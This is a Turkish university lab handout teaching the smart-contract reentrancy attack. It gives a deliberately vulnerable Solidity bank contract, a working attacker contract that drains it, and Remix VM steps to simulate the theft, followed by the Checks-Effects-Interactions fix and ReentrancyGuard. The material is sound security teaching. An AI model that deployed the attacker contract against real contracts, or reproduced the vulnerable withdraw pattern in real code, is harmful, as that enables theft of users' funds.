KARADENİZ TEKNİK ÜNİVERSİTESİ
BİLGİSAYAR MÜHENDİSLİĞİ BÖLÜMÜ
SİBER GÜVENLİK LABORATUVARI

Akıllı Sözleşme Güvenliği - Reentrancy Saldırısı

Bölüm 1: Teorik Altyapı ve Temel Kavramlar

1.1. Deneyin Amacı

Bu laboratuvar çalışmasının sonunda, öğrenciler aşağıdaki yetkinlikleri kazanacaktır:

- Akıllı sözleşmenin ne olduğunu tanımlayabilme ve temel özelliklerini açıklayabilme.
- Blok zinciri ve akıllı sözleşmeler bağlamında güvenliğin neden kritik derecede önemli olduğunu ifade edebilme.
- Bir reentrancy (yeniden giriş) saldırısının mekanizmasını, zafiyete yol açan spesifik kodlama desenini belirleyerek tarif edebilme.
- Remix IDE kullanarak simüle edilmiş bir ortamda reentrancy saldırısını pratik olarak gerçekleştirebilme.
- Checks-Effects-Interactions (CEI) tasarım desenini uygulayarak reentrancy zafiyetini giderebilme.
- Güvenliği sağlanmış sözleşme üzerinde saldırıyı yeniden deneyerek yapılan düzeltmenin etkinliğini doğrulayabilme.

1.2. Blok Zinciri ve Akıllı Sözleşmeler

Blok zinciri, en temel tanımıyla, merkezi bir otoriteye ihtiyaç duymadan verilerin güvenli bir şekilde kaydedilmesini sağlayan, dağıtık ve değiştirilemez bir dijital kayıt defteridir. Bu teknoloji üzerine inşa edilen en devrimci yeniliklerden biri akıllı sözleşmelerdir.

Akıllı sözleşmeler, blok zinciri üzerinde saklanan ve önceden belirlenmiş koşullar karşılandığında otomatik olarak çalışan bilgisayar programlarıdır. Temel amaçları, taraflar arasındaki anlaşmaları ve işlemleri aracılar olmaksızın otomatikleştirmektir. Bu kavramı somutlaştırmak için sıkça kullanılan "otomat makinesi" benzetmesi oldukça yerindedir: Makineye doğru miktarda para atıp bir ürün düğmesine bastığınızda (koşullar karşılandığında), makine seçtiğiniz ürünü otomatik olarak size verir (anlaşma icra edilir). Akıllı sözleşmeler de benzer şekilde, kodlarına yazılmış basit "eğer/olduğunda... o zaman..." mantıksal ifadeleriyle çalışır.

Bir akıllı sözleşme genellikle şu temel bileşenlerden oluşur:

- **Durum Değişkenleri (State Variables):** Sözleşmenin verilerini tutan ve blok zincirinde kalıcı olarak saklanan değişkenlerdir.
- **Fonksiyonlar (Functions):** Belirli görevleri yerine getiren ve sözleşmenin mantığını içeren çalıştırılabilir kod bloklarıdır.
- **Olaylar (Events):** Sözleşme yürütülürken dış dünyaya (örneğin, kullanıcı arayüzlerine) bilgi vermek için yayılan kayıtlardır.

Akıllı sözleşmelerin en büyük gücü, aracıları ortadan kaldırarak getirdiği güvene dayalı olmayan otomasyon yeteneğidir. Ancak bu güç, aynı zamanda en büyük zayıflığıyla da ayrılmaz bir şekilde bağlantılıdır: kodun affetmez doğası. Geleneksel sistemlerde anlaşmazlıkları çözmek, hataları düzeltmek veya işlemleri geri almak için avukatlar, bankalar gibi aracılar bulunur. Akıllı sözleşmeler bu aracıları ortadan kaldırarak verimlilik, hız ve şeffaflık sağlar. Fakat bu durum, herhangi bir denetleyici insan faktörünün veya merkezi otoritenin olmadığı anlamına gelir. Blok zincirine bir işlem kaydedildiğinde, bu işlem nihaidir ve geri döndürülemez. Dolayısıyla, verimliliği sağlayan denetimsiz otomasyon mekanizması, koddaki basit bir mantık hatasının anında ve geri döndürülemez sonuçlara yol açabileceği yüksek riskli bir ortam yaratır. Bu paradoksu anlamak, akıllı sözleşme güvenliğinin neden benzersiz ve kritik bir disiplin olduğunu kavramanın temelidir.

1.3. Neden Akıllı Sözleşme Güvenliği Önemlidir?

Akıllı sözleşme güvenliğinin kritik önemini anlamak için "değiştirilemezlik" (immutability) kavramını özümsemek gerekir. Bir akıllı sözleşme blok zincirine dağıtıldıktan (deploy) sonra, kodu genellikle değiştirilemez veya güncellenemez. Bu özellik, sözleşmenin dağıtıldığı andaki kuralların herkes için şeffaf ve sabit kalacağını garanti eder.

Ancak bu değiştirilemezlik, aynı zamanda dağıtım sonrası keşfedilen herhangi bir hatanın, zafiyetin veya mantıksal kusurun kalıcı olacağı anlamına gelir. Bu sözleşmeler genellikle dijital para birimleri, token'lar veya gerçek dünya varlıklarını temsil eden dijital değerler gibi önemli miktarda finansal varlığı yönetir. Değiştirilemezlik ve yüksek finansal değer bir araya geldiğinde, tek bir yamanamaz hatanın bir saldırgan tarafından istismar edilerek sözleşmedeki tüm fonların çalınmasına yol açabileceği felaket senaryoları ortaya çıkar. Bu tür kayıplar geri döndürülemez niteliktedir. 2024 yılı itibarıyla çeşitli saldırı türlerinden kaynaklanan yüz milyonlarca dolarlık kayıplar, bu riskin ne kadar gerçek ve yıkıcı olduğunu göstermektedir.

Bu durum, akıllı sözleşme güvenliğinin geleneksel yazılım geliştirmeden temel bir zihniyet farkı gerektirdiğini ortaya koyar. Geleneksel web veya mobil uygulama geliştirmede, "hızlı hareket et ve bir şeyleri kır" felsefesi yaygındır. Hatalar bulunur, yamalar yayınlanır ve sistem sürekli güncellenir. Bir hatanın maliyeti genellikle itibar kaybı veya sistemin bir önceki sürüme döndürülmesidir. Akıllı sözleşmelerin değiştirilemez doğası, bu "sonra yamalarız" modelini tamamen geçersiz kılar. Güvenlik, sonradan eklenecek bir özellik değil, dağıtım öncesi sağlanması gereken varoluşsal bir zorunluluktur. Bu nedenle, titiz kodlama pratikleri, kapsamlı testler ve üçüncü taraf güvenlik denetimleri, affı olmayan bu ortamda bir lüks değil, mutlak bir gerekliliktir.

1.4. Odak Zafiyet: Reentrancy Saldırısı

Bu laboratuvar çalışmasında odaklanacağımız zafiyet, akıllı sözleşme dünyasının en bilinen ve yıkıcı saldırı türlerinden biri olan Reentrancy (Yeniden Giriş) saldırısıdır. Reentrancy, bir fonksiyonun, başka bir sözleşmeye harici bir çağrı yaptıktan sonra, ilk çağrının yürütmesi tamamlanmadan "yeniden girilerek" tekrar çalıştırılması durumudur.

Zafiyetin temelindeki mantıksal kusur, operasyonların yanlış sıralanmasıdır. Zafiyetli bir sözleşme genellikle şu hatalı sırayı izler:

1. **Kontrol (Check):** Kullanıcının bakiyesini kontrol eder.

2. **Etkileşim (Interact):** Kullanıcıya Ether gibi bir değer gönderir (harici çağrı).
3. **Etki (Effect):** Kullanıcının bakiyesini kendi kayıtlarında günceller.

Bu sıralama tehlikelidir çünkü kontrol akışı, sözleşmenin kendi durumu güncellenmeden önce potansiyel olarak kötü niyetli harici bir sözleşmeye devredilir. Saldırgan, Ether'i almak için özel olarak tasarlanmış bir sözleşme kullanır. Bu saldırgan sözleşmesinin receive() veya fallback() adı verilen özel bir fonksiyonu vardır. Bu fonksiyon, sözleşme Ether aldığında otomatik olarak tetiklenir ve içine, kurban sözleşmenin para çekme fonksiyonunu tekrar çağıran kötü niyetli kod yerleştirilir. Kurban sözleşme henüz saldırganın bakiyesini sıfırlamadığı için, her yeniden giriş çağrısı bakiye kontrolünü geçer ve saldırgan, sözleşmedeki tüm fonlar tükenene kadar tekrar tekrar para çeker.

Bu zafiyetin ne kadar ciddi olduğunu anlamak için 2016 yılında yaşanan "The DAO Hack" olayına bakmak yeterlidir. Bu olayda, bir reentrancy zafiyeti kullanılarak o dönemin parasıyla milyonlarca dolar değerinde ETH çalınmış ve bu durum, tüm Ethereum blok zincirinin çatallanarak (hard fork) Ethereum ve Ethereum Classic olarak ikiye ayrılmasına neden olmuştur.

Reentrancy saldırısı, siber güvenlik eğitimine giriş için ideal bir konudur. Çünkü bu saldırı, karmaşık bir kriptografik veya protokol seviyesinde bir açıktan ziyade, program akışındaki basit, insan yapımı bir mantık hatasından kaynaklanır. Bu durum, onu hem anlaşılması kolay hem de disiplinli kodlama desenlerinin önemini vurgulayan güçlü bir ders haline getirir. Geleneksel bir banka işlemini düşünün: Kasiyerin, kasadaki kaydı güncellemeden önce müşteriye para üstünü vermesi gibidir. Bu basit mantık hatasının, akıllı sözleşmelerin değiştirilemez dünyasında ne kadar yıkıcı sonuçlar doğurabileceğini göstermesi, onu mükemmel bir pedagojik araç yapar.

Bölüm 2: Deney Ortamının Hazırlanması: Remix IDE

2.1. Remix IDE'ye Genel Bakış

Remix, akıllı sözleşmeleri doğrudan tarayıcınızda yazmanıza, derlemenize, dağıtmanıza ve test etmenize olanak tanıyan, kurulum gerektirmeyen güçlü bir Entegre Geliştirme Ortamıdır (IDE). Özellikle eğitim amaçlı kullanım için idealdir. Remix arayüzü üç ana bölümden oluşur:

- **File Explorer (Dosya Gezgini):** Solidity kaynak kodu dosyalarınızı (.sol uzantılı) oluşturduğunuz ve yönettiğiniz alandır.
- **Solidity Compiler (Solidity Derleyicisi):** Yazdığınız Solidity kodunu Ethereum Sanal Makinesi'nin (EVM) anlayabileceği bytecode'a dönüştürdüğünüz bölümdür. Kodunuzdaki pragma ifadesiyle uyumlu bir derleyici sürümü seçmek önemlidir.
- **Deploy & Run Transactions (Dağıt ve İşlemleri Çalıştır):** Derlenmiş sözleşmelerinizi bir blok zincirine dağıttığınız ve dağıtılan sözleşmenin fonksiyonlarıyla etkileşime geçtiğiniz paneldir.

2.2. Sanal Makine (Remix VM) Kurulumu

Bu deney için, gerçek bir blok zinciri ağına bağlanmak yerine Remix'in kendi sanal blok zincirini kullanacağız. Bu, herhangi bir ücret ödemeden ve risk almadan güvenli bir şekilde test yapmamızı sağlar.

"Deploy & Run Transactions" paneline gidin ve en üstteki ENVIRONMENT açılır menüsünden **"Remix VM (Shanghai)"** (veya benzer bir VM seçeneği) seçeneğini belirleyin. Bu, tamamen tarayıcınızın içinde çalışan, test amaçlı simüle edilmiş bir blok zinciri ortamı başlatır.

Bu ortam seçildiğinde, hemen altındaki ACCOUNT açılır menüsünde, her biri 100 sahte Ether ile önceden finanse edilmiş birkaç test hesabı göreceksiniz. Bu, cüzdan kurma veya test ağlarından token talep etme gibi ek adımlara gerek kalmadan deneye hemen başlamanızı sağlar.

Bölüm 3: Uygulama: Bir Reentrancy Saldırısının Adım Adım Gerçekleştirilmesi

Bu bölümde, zafiyetli bir banka sözleşmesi oluşturacak, bir saldırgan sözleşmesi yazacak ve bu sözleşmeyi kullanarak bankadaki tüm fonları çalacağız.

3.1. Adım 1: Zafiyetli Banka Sözleşmesi (Victim Contract)

Aşağıda, reentrancy zafiyeti içeren basit bir banka sözleşmesi olan EtherBank'in kodu bulunmaktadır. Bu sözleşme, kullanıcıların Ether yatırmasına ve çekmesine olanak tanır.

EtherBank.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract EtherBank {
    // Her kullanıcının bakiyesini saklayan bir harita (mapping).
    // Bir adresin ne kadar Ether yatırdığını takip eden bir defter gibi düşünülebilir.
    mapping(address => uint) public balances;
    // Kullanıcıların sözleşmeye Ether yatırmasını sağlayan fonksiyon.
    // 'payable' anahtar kelimesi, bu fonksiyonun Ether alabileceğini belirtir.
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    // Kullanıcıların yatırdıkları Ether'i çekmelerini sağlayan fonksiyon.
    // BU FONKSİYON REENTRANCY ZAFİYETİ İÇERMEKTEDİR.
    function withdraw() public {
        uint amount = balances[msg.sender];
        // 1. Kontrol: Kullanıcının çekilecek bir bakiyesi var mı?
        require(amount > 0, "Cekilecek bakiye yok.");
        // 2. Etkileşim (TEHLİKELİ!): Bakiye güncellenmeden önce Ether gönderiliyor.
        // Bu, saldırganın kontrolü ele alıp bu fonksiyona yeniden girmesine olanak tanır.
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Gonderim basarisiz.");
        // 3. Etki (ÇOK GEÇ!): Bakiye, Ether gönderildikten sonra güncelleniyor.
        // Saldırı gerçekleştiğinde bu satıra gelinene kadar sözleşme zaten boşaltılmış olur.
        balances[msg.sender] = 0;
    }
    // Sözleşmenin toplam bakiyesini döndüren yardımcı fonksiyon.
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

3.2. Adım 2: Saldırgan Sözleşmesi (Attacker Contract)

Şimdi, EtherBank sözleşmesindeki zafiyeti istismar etmek için tasarlanmış Attack sözleşmesini yazalım. Bu sözleşme, bankaya küçük bir miktar para yatıracak ve ardından withdraw fonksiyonunu tekrar tekrar çağırarak tüm fonları çekecektir.

Attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// Kurban sözleşmenin arayüzünü import ediyoruz.
import "./EtherBank.sol";
contract Attack {
    // Kurban banka sözleşmesinin adresi.
    EtherBank public etherBank;
    // Saldırgan sözleşme dağıtılırken kurban bankanın adresini alır.
    constructor(address _etherBankAddress) {
        etherBank = EtherBank(_etherBankAddress);
    }
    // Saldırıyı başlatan ana fonksiyon.
    function attack() public payable {
        // 1. Adım: Bankaya küçük bir miktar (1 Ether) yatırarak meşru bir kullanıcı gibi görün.
        etherBank.deposit{value: 1 ether}();
        // 2. Adım: Para çekme işlemini başlat. Bu, reentrancy döngüsünü tetikleyecektir.
        etherBank.withdraw();
    }
    // Bu özel 'receive' fonksiyonu, bu sözleşmeye Ether gönderildiğinde OTOMATİK olarak çalışır.
    // Reentrancy saldırısının kalbi burasıdır.
    receive() external payable {
        // Bankada hala çekilecek para varsa (1 Ether'den fazla),
        // withdraw fonksiyonunu tekrar çağır.
        if (etherBank.getBalance() > 0) {
            etherBank.withdraw();
        }
    }
    // Saldırgan sözleşmenin bakiyesini kontrol etmek için yardımcı fonksiyon.
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

3.3. Adım 3: Saldırının Simülasyonu

Aşağıdaki adımları Remix IDE'de dikkatlice izleyerek saldırıyı gerçekleştirelim.

1. **Dosyaları Oluşturma:** Remix'in "File Explorer" panelinde EtherBank.sol ve Attack.sol adında iki

yeni dosya oluşturun ve yukarıdaki kodları ilgili dosyalara yapıştırın.

2. **Banka Sözleşmesini Derleme ve Dağıtma:**
    - "Solidity Compiler" paneline gidin. EtherBank.sol dosyasının seçili olduğundan emin olun ve "Compile EtherBank.sol" düğmesine tıklayın. Panelde yeşil bir onay işareti görmelisiniz.
    - "Deploy & Run Transactions" paneline geçin. CONTRACT açılır menüsünden EtherBank'in seçili olduğundan emin olun ve "Deploy" düğmesine tıklayın. Aşağıda, "Deployed Contracts" altında EtherBank örneğini göreceksiniz.
3. **Bankayı Fonlama:**
    - ACCOUNT açılır menüsünden ilk hesabı (Account 1) seçin.
    - EtherBank sözleşme panelinde, VALUE alanına 10 yazın ve yanındaki birim menüsünden "Ether" seçin. deposit düğmesine tıklayın.
    - ACCOUNT menüsünden ikinci hesabı (Account 2) seçin.
    - VALUE alanına 5 yazın, "Ether" seçin ve tekrar deposit düğmesine tıklayın.
    - Şimdi getBalance düğmesine tıklayarak bankanın toplam bakiyesinin 15 Ether olduğunu doğrulayın.
4. **Saldırgan Sözleşmesini Derleme ve Dağıtma:**
    - "Solidity Compiler" paneline dönün ve Attack.sol dosyasını derleyin.
    - "Deploy & Run Transactions" paneline geri dönün. CONTRACT menüsünden Attack'ı seçin.
    - "Deployed Contracts" altındaki EtherBank adresini kopyalayın (kopyala simgesine tıklayarak).
    - Bu adresi, Attack sözleşmesinin "Deploy" düğmesinin yanındaki metin alanına yapıştırın. Bu, saldırgan sözleşmenin hangi bankayı hedef alacağını bilmesini sağlar.
    - ACCOUNT menüsünden üçüncü hesabı (Account 3) seçin ve "Deploy" düğmesine tıklayın.
5. **Saldırıyı Gerçekleştirme:**
    - "Deployed Contracts" altında yeni oluşturulan Attack sözleşmesini bulun.
    - VALUE alanına 1 yazın ve "Ether" seçin.
    - Turuncu renkli attack düğmesine tıklayın.
6. **Sonuçları Gözlemleme:**
    - İşlem tamamlandığında, EtherBank sözleşmesindeki getBalance düğmesine tekrar tıklayın. Bakiyenin 0 olduğunu göreceksiniz.
    - Attack sözleşmesindeki getBalance düğmesine tıklayın. Bakiyenin 16 Ether olduğunu göreceksiniz (diğer kullanıcılardan çalınan 15 Ether + kendi yatırdığı 1 Ether).
    - Saldırı başarıyla tamamlandı ve bankadaki tüm fonlar çalındı.

Bölüm 4: Zafiyetin Giderilmesi ve Güvenli Kodlama Pratikleri

4.1. Çözüm Yöntemi: Checks-Effects-Interactions (CEI) Prensibi

Reentrancy saldırılarına karşı en temel ve etkili savunma, **Checks-Effects-Interactions (CEI)** olarak bilinen tasarım desenini uygulamaktır. Bu desen, bir fonksiyondaki işlemlerin belirli bir sırada yapılmasını zorunlu kılar:

1. **Checks (Kontroller):** İlk olarak, fonksiyonun yürütülmesi için gerekli tüm doğrulamalar ve kontroller yapılır. require() ifadeleriyle kullanıcı bakiyeleri, izinler, girdilerin geçerliliği gibi koşullar kontrol edilir.
2. **Effects (Etkiler):** Tüm kontroller başarılı olursa, sözleşmenin durum değişkenleri üzerinde yapılacak tüm değişiklikler uygulanır. Bizim örneğimizde bu, para çekme miktarının kullanıcının balances

haritasındaki bakiyesinden *düşülmesi* anlamına gelir.

3. **Interactions (Etkileşimler):** Yalnızca sözleşmenin iç durumu tamamen güncellendikten sonra, diğer sözleşmelerle etkileşime geçilir veya dış dünyaya Ether gönderilir.

Bu sıralama, harici çağrı yapıldığı anda sözleşmenin iç durumunun zaten tutarlı ve güvenli olmasını sağlar. Bu sayede, yeniden giriş yapan bir çağrı artık zararsız hale gelir, çünkü güncellenmiş durum (örneğin, sıfırlanmış bakiye) nedeniyle ilk "Check" adımını geçemez.

CEI deseni, yalnızca reentrancy için bir düzeltmeden daha fazlasıdır; doğası gereği düşmanca olan bir ortamda durum değiştiren herhangi bir fonksiyonu yazmak için temel bir "önce güvenlik" tasarım felsefesidir. Bu yaklaşım, bir geliştiriciyi çağırdığı herhangi bir harici sözleşmenin potansiyel olarak kötü niyetli olduğunu varsaymaya zorlar. Bu nedenle, kendi sözleşmesinin durumunu, öngörülemeyen ve potansiyel olarak düşmanca olan dış ekosistemle etkileşime geçmeden *önce* tutarlı ve nihai bir forma kilitlemelidir. Bu felsefe, yalnızca reentrancy'yi değil, aynı zamanda karmaşık sözleşme etkileşimlerinden kaynaklanabilecek daha geniş bir durum tutarsızlığı hataları sınıfını önlemeye de yardımcı olur.

4.2. Güvenli Kodun Uygulanması

Şimdi, withdraw fonksiyonunu CEI desenine uyacak şekilde yeniden yazarak SecureEtherBank adında yeni ve güvenli bir sözleşme oluşturalım.

Aşağıdaki tablo, zafiyetli ve güvenli versiyonlar arasındaki kritik farkı net bir şekilde göstermektedir.

Zafiyetli withdraw Fonksiyonu (Vulnerable withdraw Function)	**Güvenli withdraw Fonksiyonu (Secure withdraw Function - CEI)**
// 1. Bakiye kontrolü (Check)	// 1. Kontroller (Checks)
require(amount > 0, "...");	require(amount > 0, "...");
// 2. Ether gönderimi (Interact - TEHLİKELİ!)	// 2. Durum Güncellemesi (Effects)
(bool sent,) = msg.sender.call{value: amount}("");	balances[msg.sender] = 0;
require(sent, "...");	// 3. Dış Etkileşim (Interactions)
// 3. Bakiye güncellemesi (Effect - ÇOK GEÇ!)	(bool sent,) = msg.sender.call{value: amount}("");
balances[msg.sender] = 0;	require(sent, "...");

SecureEtherBank.sol

```
// Kodu yazınız
```

4.3. Güvenliğin Doğrulanması

Şimdi, Bölüm 3.3'teki saldırı simülasyonunu, kurban sözleşme olarak SecureEtherBank.sol'u kullanarak tam olarak tekrarlayın. Saldırının bu sefer başarısız olduğunu gözlemleyeceksiniz.

Saldırgan sözleşme withdraw fonksiyonunu çağırdığında, SecureEtherBank önce saldırganın bakiyesini 0'a düşürecek ve ardından 1 Ether gönderecektir. Saldırganın receive() fonksiyonu tetiklenip withdraw'u tekrar çağırdığında, require(amount > 0,...) kontrolü başarısız olacaktır çünkü bakiye artık 0'dır. Sonuç olarak, saldırgan yalnızca kendi yatırdığı 1 Ether'i geri alabilecek ve diğer kullanıcıların 15 Ether'i bankada güvende kalacaktır. Bu, düzeltmenin etkinliğinin pratik kanıtıdır.

4.4. Ek Bir Savunma Hattı: Reentrancy Guard

Gerçek dünya projelerinde, güvenlik mantığını sıfırdan yazmak yerine, endüstri standardı, denetlenmiş kütüphanelerden yararlanmak en iyi pratiktir. Reentrancy'ye karşı popüler bir savunma mekanizması ReentrancyGuard kullanmaktır.

Bu, Solidity'de "modifier" olarak bilinen ve bir fonksiyona eklenerek davranışını değiştiren yeniden kullanılabilir bir kod parçasıdır. OpenZeppelin gibi güvenilir kütüphaneler tarafından sağlanan nonReentrant değiştiricisi, bir kilit mekanizması gibi çalışır. Bir fonksiyonun başına eklendiğinde, fonksiyonun yürütülmeye başlandığını belirten bir bayrağı (örneğin, locked = true) ayarlar ve fonksiyon bittiğinde bayrağı geri (locked = false) alır. Bu sırada fonksiyona yeniden girilmeye çalışılırsa, kilitli bayrağı görür ve işlemi reddeder. OpenZeppelin, güvenli ve denetlenmiş akıllı sözleşme bileşenleri için altın standart olarak kabul edilir.

nonReentrant değiştiricisinin kullanımı aşağıdaki gibidir:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBankWithGuard is ReentrancyGuard {
    //...diğer kodlar...
    // nonReentrant değiştiricisi bu fonksiyonu yeniden giriş saldırılarına karşı korur.
    function withdraw() public nonReentrant {
        //...para çekme mantığı...
    }
}
```

Bölüm 5: Değerlendirme ve Sonuç

5.1. Deneyin Özeti

Bu laboratuvar çalışmasında, akıllı sözleşmelerin değiştirilemez doğasının getirdiği güç ve tehlikeler incelendi. Reentrancy saldırısının basit ama yıkıcı mantığı, operasyonların yanlış sıralanmasından nasıl kaynaklandığı pratik olarak gösterildi. Son olarak, bu zafiyeti önlemek için temel bir savunma programlama tekniği olan Checks-Effects-Interactions (CEI) deseninin etkinliği kanıtlandı ve ReentrancyGuard gibi endüstri standardı çözümlere bir giriş yapıldı.

5.2. Rapor Soruları

1. Kendi kelimelerinizle, bir akıllı sözleşmede durumu harici bir çağrıdan *sonra* güncellemenin neden tehlikeli olduğunu açıklayınız.
2. Oluşturduğumuz Attack sözleşmesinde receive() (veya fallback()) fonksiyonunun rolü nedir?
3. Reentrancy dışında potansiyel bir akıllı sözleşme zafiyeti daha adlandırın ve kısaca açıklayın. (Örn: Tamsayı Taşması/Azalması (Integer Overflow/Underflow)).
4. Gerçek bir projede, OpenZeppelin'in ReentrancyGuard'ı gibi iyi denetlenmiş bir kütüphane kullanmak, kendi güvenlik mantığınızı sıfırdan yazmaktan neden genellikle daha iyi bir yaklaşımdır?
5. "Salt okunur reentrancy" (read-only reentrancy) saldırısı nedir ve bu laboratuvarda gerçekleştirdiğimiz fon çalma saldırısından ne gibi farkları olabilir?